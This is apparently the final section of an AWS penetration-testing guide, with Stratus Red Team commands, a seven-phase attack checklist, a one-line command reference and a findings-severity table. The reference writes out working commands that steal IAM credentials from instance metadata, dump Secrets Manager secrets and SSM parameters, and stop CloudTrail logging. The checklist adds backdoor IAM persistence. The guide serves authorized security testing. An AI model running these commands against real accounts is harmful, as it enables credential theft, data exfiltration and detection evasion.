# ─── Stratus: MITRE ATT&CK aligned AWS attack TTPs ───
# https://github.com/DataDog/stratus-red-team

# List available attack techniques:
stratus list
stratus list --platform aws

# Warm up (create needed resources):
stratus warmup aws.credential-access.ec2-get-password-data

# Detonate (run the attack):
stratus detonate aws.credential-access.ec2-get-password-data

# Cleanup:
stratus cleanup aws.credential-access.ec2-get-password-data

# Key techniques:
# aws.credential-access.secretsmanager-retrieve-secrets
# aws.persistence.iam-create-backdoor-role
# aws.defense-evasion.cloudtrail-stop
# aws.privilege-escalation.iam-create-policy
# aws.lateral-movement.ec2-instance-credentials

12. Complete Cheat Sheet

12.1 AWS Pentest Methodology

Phase 1: RECON (External)
□ DNS enumeration → find *.amazonaws.com subdomains
□ Certificate transparency → crt.sh
□ S3 bucket discovery → cloud_enum, S3Scanner
□ Shodan/Censys → exposed AWS services
□ GitHub/code repos → leaked access keys (TruffleHog)

Phase 2: INITIAL ACCESS
□ Validate leaked/found access keys
□ SSRF → IMDS → steal IAM credentials
□ Public S3 → download sensitive data/code
□ Exposed Lambda URLs (AuthType: NONE)
□ Exposed EC2 services (SSH, RDP, APIs)

Phase 3: ENUMERATION (Authenticated)
□ aws sts get-caller-identity → who am I?
□ enumerate-iam → what can I do?
□ ScoutSuite/Prowler → full account audit
□ PMapper → IAM privesc graph
□ List all: IAM, EC2, S3, Lambda, RDS, Secrets

Phase 4: PRIVILEGE ESCALATION
□ PMapper → find shortest privesc path
□ Pacu iam__privesc_scan → automated detection
□ Target: CreatePolicyVersion, AttachUserPolicy
□ Target: PassRole + Lambda/EC2/Glue
□ Target: CreateAccessKey on admin user

Phase 5: LATERAL MOVEMENT
□ Assume cross-account roles
□ Use EC2 instance profile credentials
□ Lambda role credentials from env vars
□ ECS task role credentials

Phase 6: PERSISTENCE
□ Create backdoor IAM user + access keys
□ Modify role trust policy → allow attacker account
□ Lambda backdoor injection
□ EC2 user-data persistence

Phase 7: EXFIL & CLEANUP
□ Download S3 data
□ Dump Secrets Manager + Parameter Store
□ Export RDS snapshots
□ Disable CloudTrail (if needed)
□ Clean up created resources after engagement

12.2 One-Line Command Reference

# Who am I:
aws sts get-caller-identity

# What can I do:
python3 enumerate-iam.py --access-key AKIA... --secret-key SECRET...

# List all users:
aws iam list-users --output table

# List all roles:
aws iam list-roles --output table

# Get my policies:
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d'/' -f2)

# Steal IMDS creds (IMDSv1):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Steal IMDS creds (IMDSv2):
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"); ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/); curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# List S3 public:
aws s3 ls s3://BUCKET --no-sign-request

# Dump secrets:
aws secretsmanager list-secrets | jq -r '.SecretList[].ARN' | xargs -I{} aws secretsmanager get-secret-value --secret-id {}

# Get all SSM params:
aws ssm get-parameters-by-path --path / --recursive --with-decryption

# Lambda code download:
wget -O func.zip "$(aws lambda get-function --function-name FUNC --query 'Code.Location' --output text)"

# Stop CloudTrail:
aws cloudtrail stop-logging --name $(aws cloudtrail describe-trails --query 'trailList.Name' --output text)

12.3 Common Findings Severity Reference

Finding Severity Impact
Public S3 bucket with sensitive data 🔴 Critical Data exposure
IMDS v1 enabled + SSRF = cred theft 🔴 Critical Full account compromise
Overprivileged Lambda/EC2 role 🔴 Critical Privilege escalation
IAM user with *:* policy 🔴 Critical Full admin access
Secrets in Lambda env vars 🟠 High Credential theft
iam:PassRole + lambda:CreateFunction 🟠 High Privilege escalation
Public S3 bucket (no data) 🟡 Medium Enumeration
CloudTrail logging disabled 🟠 High Detection evasion
Root account access keys exist 🔴 Critical Full account takeover
MFA not enabled on IAM users 🟡 Medium Account hijack risk
Unrestricted security group (0.0.0.0/0) 🟠 High Exposed services
IMDSv2 not enforced 🟡 Medium SSRF amplification

← Cloud top ↑